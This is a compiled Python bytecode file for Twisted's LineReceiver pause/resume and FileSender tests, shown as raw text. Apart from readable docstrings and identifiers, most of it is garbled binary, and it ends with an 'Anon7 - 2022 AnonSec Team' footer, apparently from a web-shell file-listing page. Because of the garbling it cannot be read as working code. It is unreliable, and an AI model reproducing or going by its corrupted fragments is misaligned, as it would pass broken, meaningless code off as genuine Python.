    cCs�t�}t�}|�|�|�d�|�|jg�|�|j�|�|j�|�d�|�|jdg�|�|j�|�|j�|�	�|�|jdg�|�|j�|�|j�|�d�|�|jddg�|�|j�|�|j�|�	�|�|jgd��|�|j�|�|j�|�d�|�|jgd��|�|j�|�|j�|�	�|�|jgd��|�|j�|�|j�|�	�|�|jgd��|�|j�|�|j�d	S)
a?
        When L{basic.LineReceiver} is paused, it doesn't deliver lines to
        L{basic.LineReceiver.lineReceived} and delivers them immediately upon
        being resumed.

        L{ConsumingProtocol} is a L{LineReceiver} that pauses itself after
        every line, and writes that line to its transport.
        shello, sworld
�hello, worldshello
world
r�)rVr�r�s	goodbye
)rVr�r�ruN)
rSrOrVrYrZr$r�rQr�r=)r�pr^rrr�test_pauseResume^sF	




zProducerTests.test_pauseResumeN)r&r'r(r)rXrrrrrUYrTrUc@s@eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dS)�FileSenderTestsz(
    Tests for L{basic.FileSender}.
    cCst��}|�tt|��dS)zP
        L{basic.FileSender} implements the L{IPullProducer} interface.
        N)r�
FileSenderr�rr	)r�senderrrr�test_interface�szFileSenderTests.test_interfacecCsBtd�}t��}t��}|�||�|�|j|�|�|j	�dS)z�
        When L{basic.FileSender.beginFileTransfer} is called, it registers
        itself with provided consumer, as a non-streaming producer.
        �Test contentN)
rrr�rrZ�beginFileTransferrZ�producerr��	streaming)r�source�consumerr[rrr�test_producerRegistered�sz'FileSenderTests.test_producerRegisteredcCsftd�}t��}t��}|�||�}|��|��|�|j�|�	d|�
|��|�	d|���dS)z�
        L{basic.FileSender} sends the content of the given file using a
        C{IConsumer} interface via C{beginFileTransfer}. It returns a
        L{Deferred} which fires with the last byte sent.
        r]�tN)rrr�rrZr^r=�assertIsNoner_rZ�successResultOfr��rrarbr[�drrr�
test_transfer�szFileSenderTests.test_transfercCs�td�}t��}t��}d|_|�||�}|��|�d|�	��|��|�d|�	��|��|�d|�	��|��|�d|�
|��|�d|�	��dS)zj
        L{basic.FileSender} reads at most C{CHUNK_SIZE} every time it resumes
        producing.
        r]r8sTestsTest conrdN)rrr�rrZ�
CHUNK_SIZEr^r=rZr�rfrgrrr�test_transferMultipleChunks�sz+FileSenderTests.test_transferMultipleChunkscCsddd�}td�}t��}t��}|�|||�}|��|��|�d|�|��|�d|�	��dS)z�
        L{basic.FileSender.beginFileTransfer} takes a C{transform} argument
        which allows to manipulate the data on the fly.
        cSs|��Sr)�swapcase)�chunkrrr�	transform�sz=FileSenderTests.test_transferWithTransform.<locals>.transformr]�TstEST CONTENTN)
rrr�rrZr^r=rZrfr�)rrnrarbr[rhrrr�test_transferWithTransform�sz*FileSenderTests.test_transferWithTransformcCsVtd�}t��}t��}|�||�}|��|�|�}|�t	�|�
dt|j��dS)z�
        The C{Deferred} returned by L{basic.FileSender.beginFileTransfer} fails
        with an C{Exception} if C{stopProducing} when the transfer is not
        complete.
        r]z#Consumer asked us to stop producingN)
rrr�rrZr^r>�failureResultOf�trap�	ExceptionrZ�strr�)rrarbr[rh�failurerrr�test_abortedTransfer�s

z$FileSenderTests.test_abortedTransferN)
r&r'r(r)r\rcrirkrprvrrrrrY�srY);r)rr�ior�typingrrr�zope.interface.verifyr�twisted.internetrr�twisted.internet.interfacesr	�twisted.internet.protocolr
�twisted.protocolsr�twisted.python.compatr�twisted.python.failurer
�twisted.testr�
twisted.trialrr|rr+r�rJ�SynchronousTestCaserNr�r�r�r�rr�r�r�rr�Int32StringReceiverr3r6�Int16StringReceiverr=r?�Int8StringReceiverrLrMrOrSrU�TestCaserYrrrr�<module>sNHyO,YIj
I

Anon7 - 2022
AnonSec Team